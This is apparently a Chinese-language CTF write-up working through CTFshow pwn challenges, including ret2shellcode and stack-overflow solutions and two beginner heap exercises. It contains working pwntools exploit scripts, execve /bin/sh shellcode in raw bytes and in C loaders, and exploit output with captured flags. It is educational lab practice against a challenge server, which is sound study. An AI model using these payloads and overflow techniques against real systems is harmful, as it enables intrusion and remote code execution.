# Attach it!
# jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05
# $ cat ctfshow_flag
# ctfshow{735fe74b-4c01-478c-bd38-803c64c7294f}
# $
# [*] Interrupted
# [*] Closed connection to pwn.challenge.ctf.show port 28112

注意,其中这行代码非常重要:

1
context(arch = "amd64", os = "linux")

它这行告诉pwntools目标的CPU架构和操作系统(即寄存器/系统调用约定),决定 shellcraft.sh()asm() 生成什么样的机器码。

或者(在这道题里我们可以)直接发送cat flag的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(arch="amd64", os="linux")

r = remote("pwn.challenge.ctf.show", 28112)

# 方法 A:直接 execve /bin/cat
sc = asm(shellcraft.execve("/bin/cat", ["cat", "ctfshow_flag"]))
r.sendline(sc)

# 或者方法 B:通过 sh -c(更通用,适合复杂命令)
# sc = asm(shellcraft.execve("/bin/sh", ["sh", "-c", "cat ctfshow_flag"]))
# r.sendline(sc)

r.interactive()


# └─$ python exp.py
# [+] Opening connection to pwn.challenge.ctf.show on port 28112: Done
# [*] Switching to interactive mode
# ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
# ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
# ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
# ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
# ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
# ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
# ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
# * *************************************
# * Classify: CTFshow --- PWN --- 入门
# * Type : Stack_Overflow
# * Site : https://ctf.show/
# * Hint : Use shellcode to get shell!
# * *************************************
# Just very easy ret2shellcode&&64bit
# Attach it!
# H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.ri\x01H1\x04$H\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8v^gm`f\x01\x01H1\x04$H\xb8t ctfshoPH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,b\x01b`H1\x04$1\xf6Vj\x0e^H\x01\xe6Vj\x13^H\x01\xe6Vj\x18^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05$
# ctfshow{735fe74b-4c01-478c-bd38-803c64c7294f}
# [*] Got EOF while reading in interactive
# $
# [*] Interrupted
# [*] Closed connection to pwn.challenge.ctf.show port 28112

Pwn60

image-20251011132934880

1
2
3
4
5
6
7
8
9
10
11
└─$ checksec pwn60
[*] '/home/archer/ctf-kali/pwn/pwn60/pwn60'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

s= byte ptr -64h
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h

; __unwind {
push ebp
mov ebp, esp
and esp, 0FFFFFFF0h
add esp, 0FFFFFF80h
mov eax, ds:stdout@@GLIBC_2_0
mov dword ptr [esp+0Ch], 0 ; n
mov dword ptr [esp+8], 2 ; modes
mov dword ptr [esp+4], 0 ; buf
mov [esp], eax ; stream
call _setvbuf
mov eax, ds:stdin@@GLIBC_2_0
mov dword ptr [esp+0Ch], 0 ; n
mov dword ptr [esp+8], 1 ; modes
mov dword ptr [esp+4], 0 ; buf
mov [esp], eax ; stream
call _setvbuf
mov dword ptr [esp], offset s ; "CTFshow-pwn can u pwn me here!!"
call _puts
lea eax, [esp+80h+s]
mov [esp], eax ; s
call _gets
mov dword ptr [esp+8], 64h ; 'd' ; n
lea eax, [esp+80h+s]
mov [esp+4], eax ; src
mov dword ptr [esp], offset buf2 ; dest
call _strncpy
mov dword ptr [esp], offset format ; "See you ~"
call _printf
mov eax, 0
leave
retn
; } // starts at 804852D
main endp
1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("See you ~");
return 0;
}

发现常见漏洞函数gets()

下面还使用strncpy将s的内容复制给了buf2。

image-20251011140220174

通过gdb/pwndbg可以发现bss段有可执行权限。

所以先将shellcode写入到bss段,然后修改返回地址执行它。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'i386',os = "linux")
r = remote("pwn.challenge.ctf.show", 28288)
buf2_addr = 0x804a080

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b"a") + p32(buf2_addr)
r.sendline(payload)
r.sendline("cat ctfshow_flag")
r.interactive()

# CTFshow-pwn can u pwn me here!!
# See you ~ctfshow{a5013d09-31f7-43a1-b2f0-e5b3161ac2e5}

(还没有完全搞懂为什么偏移是112。理论上可以用gdb测试出来。)

shellcode.ljust(112,b"a")ljust函数会将shellcode字符串填充到长度为112的字符串中,并用"a"填充空余的部分。

Pwn62

24位的shellcode(来源:https://www.exploit-db.com/exploits/43550 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
global _start
section .text
_start:
push 59
pop rax
cdq
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
push rsp
pop rdi
push rdx
push rdi
push rsp
pop rsi
syscall
*/

#include <stdio.h>
#include <string.h>
char code[] = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05";
// char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}

Pwn63

23位的shellcode(来源:https://www.exploit-db.com/exploits/36858 ):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
/*
#
# Execve /bin/sh Shellcode Via Push (Linux x86_64 23 bytes)
#
# Dying to be the shortest.
#
# Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com)
#
# 27 April 2015
#
# GPL
#


.global _start
_start:
# char *const argv[]
xorl %esi, %esi

# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx

# for '\x00'
pushq %rsi

pushq %rbx

pushq %rsp
# const char *filename
popq %rdi

# __NR_execve 59
pushq $59
popq %rax

# char *const envp[]
xorl %edx, %edx

syscall
*/

/*
gcc -z execstack push64.c

uname -r
3.19.3-3-ARCH
*/

#include <stdio.h>
#include <string.h>

int
main(void)
{
char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

printf("strlen(shellcode)=%d\n", strlen(shellcode));

((void (*)(void))shellcode)();

return 0;
}

堆利用-前置基础

Pwn135

image-20251029211809361

来看一下程序:

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
menu();
ctfshow();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int logo()
{
puts(s);
puts(asc_D40);
puts(asc_DC0);
puts(asc_E50);
puts(asc_EE0);
puts(asc_F68);
puts(asc_1000);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Heap_Exploitation ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Learn how to allocate heap ! ");
return puts(" * ************************************* ");
}
1
2
3
4
5
6
7
8
int menu()
{
puts("Choose a function to allocate heap memory:");
puts("1. malloc");
puts("2. calloc");
puts("3. realloc");
return printf("Enter your choice: ");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
unsigned __int64 ctfshow()
{
int v1; // [rsp+4h] [rbp-1Ch] BYREF
size_t size; // [rsp+8h] [rbp-18h] BYREF
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
ptr = 0;
__isoc99_scanf("%d", &v1);
if ( v1 == 2 )
{
printf("Enter the size to allocate using calloc: ");
__isoc99_scanf("%lu", &size);
ptr = calloc(1u, size);
}
else if ( v1 > 2 )
{
if ( v1 != 3 )
{
if ( v1 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");
}
goto LABEL_12;
}
printf("Enter the size to allocate using realloc: ");
__isoc99_scanf("%lu", &size);
ptr = realloc(ptr, size);
}
else
{
if ( v1 != 1 )
{
LABEL_12:
puts("Invalid choice.");
return __readfsqword(0x28u) ^ v4;
}
printf("Enter the size to allocate using malloc: ");
__isoc99_scanf("%lu", &size);
ptr = malloc(size);
}
if ( ptr )
printf("Memory allocated at address: %p\n", ptr);
else
puts("Memory allocation failed.");
return __readfsqword(0x28u) ^ v4;
}

这个程序主要演示了标准库堆内存分配,分别调用 malloc/calloc/realloc 申请指定大小的内存并打印返回指针,包含分配失败与非法选项处理。

正常情况:

image-20251029213142079

image-20251029213101576

image-20251029213115443

错误情况:

image-20251029213415391

但还没搞懂开了PIE的程序该怎么调试:
image-20251029213954853

FLAG

不难注意到:

1
2
3
4
if ( v1 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");

所以发送4即可获取flag。

image-20251029214009607

pwn136

image-20251029214045374

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
menu();
ctfshow();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int logo()
{
puts(s);
puts(asc_D80);
puts(asc_E00);
puts(asc_E90);
puts(asc_F20);
puts(asc_FA8);
puts(asc_1040);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Heap_Exploitation ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Learn how to free heap ! ");
return puts(" * ************************************* ");
}
1
2
3
4
5
6
7
8
int menu()
{
puts("Choose a pointer to free:");
puts("1. ptr_malloc");
puts("2. ptr_calloc");
puts("3. ptr_realloc");
return printf("Enter your choice: ");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
unsigned __int64 ctfshow()
{
int v1; // [rsp+Ch] [rbp-24h] BYREF
void *ptr; // [rsp+10h] [rbp-20h]
void *v3; // [rsp+18h] [rbp-18h]
void *v4; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = 0;
v4 = 0;
ptr = malloc(4u);
if ( ptr )
{
v3 = calloc(1u, 4u);
if ( v3 )
{
v4 = realloc(0, 4u);
if ( v4 )
{
__isoc99_scanf("%d", &v1);
if ( v1 == 2 )
{
free(v3);
puts("ptr_calloc freed.");
return __readfsqword(0x28u) ^ v5;
}
if ( v1 > 2 )
{
if ( v1 == 3 )
{
free(v4);
puts("ptr_realloc freed.");
return __readfsqword(0x28u) ^ v5;
}
if ( v1 == 4 )
{
printf("Here is you want: ");
system("cat /ctfshow_flag");
}
}
else if ( v1 == 1 )
{
free(ptr);
puts("ptr_malloc freed.");
return __readfsqword(0x28u) ^ v5;
}
puts("Invalid choice.");
return __readfsqword(0x28u) ^ v5;
}
puts("Memory allocation failed for ptr_realloc.");
free(ptr);
free(v3);
}
else
{
puts("Memory allocation failed for ptr_calloc.");
free(ptr);
}
}
else
{
puts("Memory allocation failed for ptr_malloc.");
}
return __readfsqword(0x28u) ^ v5;
}

image-20251029214148783

FLAG

输入4即可。